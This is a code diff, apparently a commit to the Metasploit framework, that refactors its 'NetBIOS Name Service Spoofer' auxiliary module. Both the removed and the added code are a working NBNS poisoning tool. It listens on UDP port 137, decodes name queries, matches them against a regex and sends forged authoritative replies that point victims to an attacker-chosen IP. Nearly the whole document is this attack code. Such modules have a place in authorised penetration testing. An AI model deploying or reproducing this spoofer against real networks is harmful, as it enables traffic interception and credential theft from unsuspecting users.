@@ -9,6 +9,9 @@ class Metasploit3 < Msf::Auxiliary
9
9
10
10
include Msf ::Exploit ::Capture
11
11
12
+ attr_accessor :sock , :thread
13
+
14
+
12
15
def initialize
13
16
super (
14
17
'Name' => 'NetBIOS Name Service Spoofer' ,
@@ -44,108 +47,144 @@ def initialize
44
47
] )
45
48
46
49
register_advanced_options ( [
47
- OptBool . new ( 'Debug ' , [ false , "Determines whether incoming packet parsing is displayed" , false ] )
50
+ OptBool . new ( 'DEBUG ' , [ false , "Determines whether incoming packet parsing is displayed" , false ] )
48
51
] )
49
52
50
53
deregister_options ( 'RHOST' , 'PCAPFILE' , 'SNAPLEN' , 'FILTER' )
54
+ self . thread = nil
55
+ self . sock = nil
51
56
end
52
57
53
- def run
54
- check_pcaprub_loaded ( ) # Check first since otherwise this is all for naught
55
- # MacOS X workaround
56
- ::Socket . do_not_reverse_lookup = true
58
+ def dispatch_request ( packet , rhost , src_port )
59
+ rhost = ::IPAddr . new ( rhost )
60
+ # `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
61
+ # addr like "::ffff:192.168.0.1" when the interface we're listening
62
+ # on has an IPv6 address. Convert it to just the v4 addr
63
+ if rhost . ipv4_mapped?
64
+ rhost = rhost . native
65
+ end
57
66
58
- @sock = ::UDPSocket . new ( )
59
- @sock . setsockopt ( ::Socket ::SOL_SOCKET , ::Socket ::SO_REUSEADDR , 1 )
60
- @sock . bind ( '' , 137 ) # couldn't specify srv host because it missed broadcasts
67
+ # Convert to string
68
+ rhost = rhost . to_s
61
69
62
- @run = true
70
+ spoof = :: IPAddr . new ( datastore [ 'SPOOFIP' ] )
63
71
64
- print_status ( "NBNS Spoofer started. Listening for NBNS requests..." )
72
+ return if packet . length == 0
65
73
66
- begin
74
+ nbnsq_transid = packet [ 0 ..1 ]
75
+ nbnsq_flags = packet [ 2 ..3 ]
76
+ nbnsq_questions = packet [ 4 ..5 ]
77
+ nbnsq_answerrr = packet [ 6 ..7 ]
78
+ nbnsq_authorityrr = packet [ 8 ..9 ]
79
+ nbnsq_additionalrr = packet [ 10 ..11 ]
80
+ nbnsq_name = packet [ 12 ..45 ]
81
+ decoded = ""
82
+ nbnsq_name . slice ( 1 ..-2 ) . each_byte do |c |
83
+ decoded << "#{ ( c - 65 ) . to_s ( 16 ) } "
84
+ end
85
+ nbnsq_decodedname = "#{ [ decoded ] . pack ( 'H*' ) } " . strip ( )
86
+ nbnsq_type = packet [ 46 ..47 ]
87
+ nbnsq_class = packet [ 48 ..49 ]
88
+
89
+ return unless nbnsq_decodedname =~ /#{ datastore [ 'REGEX' ] } /i
90
+
91
+ vprint_good ( "#{ rhost . ljust 16 } nbns - #{ nbnsq_decodedname } matches regex, responding with #{ datastore [ "SPOOFIP" ] } " )
92
+
93
+ if datastore [ 'DEBUG' ]
94
+ print_status ( "transid: #{ nbnsq_transid . unpack ( 'H4' ) } " )
95
+ print_status ( "tlags: #{ nbnsq_flags . unpack ( 'B16' ) } " )
96
+ print_status ( "questions: #{ nbnsq_questions . unpack ( 'n' ) } " )
97
+ print_status ( "answerrr: #{ nbnsq_answerrr . unpack ( 'n' ) } " )
98
+ print_status ( "authorityrr: #{ nbnsq_authorityrr . unpack ( 'n' ) } " )
99
+ print_status ( "additionalrr: #{ nbnsq_additionalrr . unpack ( 'n' ) } " )
100
+ print_status ( "name: #{ nbnsq_name } #{ nbnsq_name . unpack ( 'H34' ) } " )
101
+ print_status ( "full name: #{ nbnsq_name . slice ( 1 ..-2 ) } " )
102
+ print_status ( "decoded: #{ decoded } " )
103
+ print_status ( "decoded name: #{ nbnsq_decodedname } " )
104
+ print_status ( "type: #{ nbnsq_type . unpack ( 'n' ) } " )
105
+ print_status ( "class: #{ nbnsq_class . unpack ( 'n' ) } " )
106
+ end
67
107
68
- while @run # Not exactly thrilled we can never turn this off XXX fix this sometime.
69
- packet , addr = @sock . recvfrom ( 512 )
70
- src_port = addr [ 1 ]
71
- rhost = addr [ 3 ]
108
+ # time to build a response packet - Oh YEAH!
109
+ response = nbnsq_transid +
110
+ "\x85 \x00 " + # Flags = response + authoratative + recursion desired +
111
+ "\x00 \x00 " + # Questions = 0
112
+ "\x00 \x01 " + # Answer RRs = 1
113
+ "\x00 \x00 " + # Authority RRs = 0
114
+ "\x00 \x00 " + # Additional RRs = 0
115
+ nbnsq_name + # original query name
116
+ nbnsq_type + # Type = NB ...whatever that means
117
+ nbnsq_class + # Class = IN
118
+ "\x00 \x04 \x93 \xe0 " + # TTL = a long ass time
119
+ "\x00 \x06 " + # Datalength = 6
120
+ "\x00 \x00 " + # Flags B-node, unique = whatever that means
121
+ datastore [ 'SPOOFIP' ] . split ( '.' ) . collect ( &:to_i ) . pack ( 'C*' )
122
+
123
+ pkt = PacketFu ::UDPPacket . new
124
+ pkt . ip_saddr = Rex ::Socket . source_address ( rhost )
125
+ pkt . ip_daddr = rhost
126
+ pkt . ip_ttl = 255
127
+ pkt . udp_sport = 137
128
+ pkt . udp_dport = src_port
129
+ pkt . payload = response
130
+ pkt . recalc
131
+
132
+ capture_sendto ( pkt , rhost )
133
+ end
72
134
73
- break if packet . length == 0
135
+ def monitor_socket
136
+ while true
137
+ rds = [ self . sock ]
138
+ wds = [ ]
139
+ eds = [ self . sock ]
74
140
75
- nbnsq_transid = packet [ 0 ..1 ]
76
- nbnsq_flags = packet [ 2 ..3 ]
77
- nbnsq_questions = packet [ 4 ..5 ]
78
- nbnsq_answerrr = packet [ 6 ..7 ]
79
- nbnsq_authorityrr = packet [ 8 ..9 ]
80
- nbnsq_additionalrr = packet [ 10 ..11 ]
81
- nbnsq_name = packet [ 12 ..45 ]
82
- decoded = ""
83
- nbnsq_name . slice ( 1 ..-2 ) . each_byte do |c |
84
- decoded << "#{ ( c - 65 ) . to_s ( 16 ) } "
141
+ r , _ , _ = ::IO . select ( rds , wds , eds , 0.25 )
142
+ if ( r != nil and r [ 0 ] == self . sock )
143
+ packet , host , port = self . sock . recvfrom ( 65535 )
144
+ dispatch_request ( packet , host , port )
85
145
end
86
- nbnsq_decodedname = "#{ [ decoded ] . pack ( 'H*' ) } " . strip ( )
87
- nbnsq_type = packet [ 46 ..47 ]
88
- nbnsq_class = packet [ 48 ..49 ]
89
-
90
- if ( nbnsq_decodedname =~ /#{ datastore [ 'REGEX' ] } /i )
91
-
92
- vprint_good ( "#{ rhost . ljust 16 } nbns - #{ nbnsq_decodedname } matches regex, responding with #{ datastore [ "SPOOFIP" ] } " )
93
-
94
- if datastore [ 'DEBUG' ]
95
- print_status ( "transid: #{ nbnsq_transid . unpack ( 'H4' ) } " )
96
- print_status ( "tlags: #{ nbnsq_flags . unpack ( 'B16' ) } " )
97
- print_status ( "questions: #{ nbnsq_questions . unpack ( 'n' ) } " )
98
- print_status ( "answerrr: #{ nbnsq_answerrr . unpack ( 'n' ) } " )
99
- print_status ( "authorityrr: #{ nbnsq_authorityrr . unpack ( 'n' ) } " )
100
- print_status ( "additionalrr: #{ nbnsq_additionalrr . unpack ( 'n' ) } " )
101
- print_status ( "name: #{ nbnsq_name } #{ nbnsq_name . unpack ( 'H34' ) } " )
102
- print_status ( "full name: #{ nbnsq_name . slice ( 1 ..-2 ) } " )
103
- print_status ( "decoded: #{ decoded } " )
104
- print_status ( "decoded name: #{ nbnsq_decodedname } " )
105
- print_status ( "type: #{ nbnsq_type . unpack ( 'n' ) } " )
106
- print_status ( "class: #{ nbnsq_class . unpack ( 'n' ) } " )
107
- end
108
-
109
- # time to build a response packet - Oh YEAH!
110
- response = nbnsq_transid +
111
- "\x85 \x00 " + # Flags = response + authoratative + recursion desired +
112
- "\x00 \x00 " + # Questions = 0
113
- "\x00 \x01 " + # Answer RRs = 1
114
- "\x00 \x00 " + # Authority RRs = 0
115
- "\x00 \x00 " + # Additional RRs = 0
116
- nbnsq_name + # original query name
117
- nbnsq_type + # Type = NB ...whatever that means
118
- nbnsq_class + # Class = IN
119
- "\x00 \x04 \x93 \xe0 " + # TTL = a long ass time
120
- "\x00 \x06 " + # Datalength = 6
121
- "\x00 \x00 " + # Flags B-node, unique = whet ever that means
122
- datastore [ 'SPOOFIP' ] . split ( '.' ) . collect ( &:to_i ) . pack ( 'C*' )
123
-
124
- open_pcap
125
-
126
- p = PacketFu ::UDPPacket . new
127
- p . ip_saddr = Rex ::Socket . source_address ( rhost )
128
- p . ip_daddr = rhost
129
- p . ip_ttl = 255
130
- p . udp_sport = 137
131
- p . udp_dport = src_port
132
- p . payload = response
133
- p . recalc
134
-
135
- capture_sendto ( p , rhost )
136
-
137
- close_pcap
138
-
139
- else
140
- vprint_status ( "#{ rhost . ljust 16 } nbns - #{ nbnsq_decodedname } did not match regex" )
146
+ end
147
+ end
148
+
149
+ def run
150
+ check_pcaprub_loaded ( )
151
+ ::Socket . do_not_reverse_lookup = true # Mac OS X workaround
152
+
153
+ # Avoid receiving extraneous traffic on our send socket
154
+ open_pcap ( { 'FILTER' => 'ether host f0:f0:f0:f0:f0:f0' } )
155
+
156
+ self . sock = Rex ::Socket . create_udp (
157
+ 'LocalHost' => "0.0.0.0" ,
158
+ 'LocalPort' => 137 ,
159
+ 'Context' => { 'Msf' => framework , 'MsfExploit' => self }
160
+ )
161
+ add_socket ( self . sock )
162
+ self . sock . setsockopt ( ::Socket ::SOL_SOCKET , ::Socket ::SO_REUSEADDR , 1 )
163
+
164
+ self . thread = Rex ::ThreadFactory . spawn ( "NBNSServerMonitor" , false ) {
165
+ begin
166
+ monitor_socket
167
+ rescue ::Interrupt
168
+ raise $!
169
+ rescue ::Exception
170
+ print_error ( "Error: #{ $!. class } #{ $!} #{ $!. backtrace } " )
141
171
end
172
+ }
173
+
174
+ print_status ( "NBNS Spoofer started. Listening for NBNS requests with REGEX \" #{ datastore [ 'REGEX' ] } \" ..." )
175
+
176
+ while thread . alive?
177
+ IO . select ( nil , nil , nil , 0.25 )
142
178
end
179
+ print_status ( "NBNS Monitor thread exited..." )
180
+ end
143
181
144
- rescue ::Exception => e
145
- print_error ( "nbnspoof: #{ e . class } #{ e } #{ e . backtrace } " )
146
- # Make sure the socket gets closed on exit
147
- ensure
148
- @sock . close
182
+ def cleanup
183
+ if self . thread and self . thread . alive?
184
+ self . thread . kill
185
+ self . thread = nil
149
186
end
187
+ close_pcap
150
188
end
189
+
151
190
end
0 commit comments